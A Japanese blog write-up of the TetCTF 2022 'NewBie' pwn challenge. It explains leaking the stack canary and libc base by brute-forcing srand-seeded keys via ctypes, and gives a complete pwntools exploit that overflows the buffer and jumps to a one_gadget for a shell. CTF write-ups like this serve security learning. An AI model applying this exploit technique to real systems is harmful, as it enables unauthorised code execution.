<TetCTF 2022> NewBie (Pwn)

はじめに


1 月 1 日の 9 時から 2 日間行われていた TetCTF 2022 を覗きました。


出題されていた Pwn 5 題のうち、NewBie が解けそうだったのでやってみましたが、途中で諦めてしまいました。


でも、昨日こちらの Writeup *1を参考にしながら解いたので、ちょっとだけ説明を載せておきます。

NewBie ( PWNABLE / 100 pt )


問題バイナリと libc が配布されました。

$ checksec chall
[*] '/home/hasuke/tet/newbie/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'


実行すると入力を受け付けてくれて、まずここで BOF を起こせますが、SSP と PIE が有効なので、canary や libc のベースアドレスを求める必要があります(今回はバイナリのベースアドレスを求めなくても解けます)。

$ ./chall
SECRET KEY GENERATOR
> a
Incorrect Syntax
> id 1
> create
Your key: joahydV23D62xJxSmpr9INT1mbovjEJG
> quit
$


上のように、id を指定して create と入力すると、何やら key が返されます。


これは、id によって指定された、スタック上の特定の 2 バイトの値を seed 値として下のような仕組みで生成されたものです。

srand(value);
for (i = 0; i < 0x20; i = i + 1) {
    random = rand();
    key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[random % 0x3e];
}
printf("Your key: %s\n", key);


したがって、リークしたいアドレスに対応する id を指定して、生成された key から元の値を推測できます(必要な id を調べるのは簡単なので、説明は省略します)。


key の生成の再現には、ctypes というライブラリを使うのが簡単みたいです。


exploit は下のようになります(0x0000 と 0x0001 とに対応する key がなぜか被ってしまったため調整してあります。ミスを見つけたら教えてください。)。

#!/usr/bin/env python3
from pwn import *
 
import ctypes
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = '18.191.117.63'
PORT = 31337
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
keys = {} 
 
### バイナリの動きを再現して、keyの辞書を作る ###
def prepare():
    loaded_lib = ctypes.cdll.LoadLibrary('./libc.so.6')
    for i in range(0x10000):
        loaded_lib.srand(i)
        key = ''
        for j in range(0x20):
            key += chars[loaded_lib.rand() % 0x3e]
        if i == 1:
            continue
        keys[key] = i
 
def leak(io, offset):
    io.sendlineafter('>', 'id ' + str(offset))
    io.sendlineafter('>', 'create')
    io.recvuntil('key: ')
    key = io.recv(32).decode()
    return keys[key]
 
def attack(io, **kwargs):
    base_off = 73
    canary_off = 49
    onegads = [0x4f3d5, 0x4f432, 0x10a41c]
 
    ### libcのベースアドレスを計算 ###
    leaked_addr = 0 # __libc_start_main + 231
    for i in range(4):
        leaked_addr += leak(io, base_off + i) << (16 * i)
    libc.address = leaked_addr  - 231 - libc.sym.__libc_start_main
    info('libc_base : 0x{:08x}'.format(libc.address))
 
    ### canaryをleak ###
    canary = 0
    for i in range(4):
        canary += leak(io, canary_off + i) << (16 * i)
    info('canary : 0x{:08x}'.format(canary))
 
    ### 仕上げ ###
    addr_onegad = libc.address + onegads[0]
    payload = b'a' * 88
    payload += p64(canary)
    payload += p64(0xdeadbeef)
    payload += p64(addr_onegad)
    io.sendlineafter('>', payload)
    io.sendlineafter('>', 'quit')
     
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    prepare()
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

おわりに


問題における乱数の生成を再現しようとする際に、c のコードを書いてその出力結果を利用する方法しか知らず、実装が面倒くさくなって諦めてしまいました😢

libc をロードするという手段を知ることができてよかったです。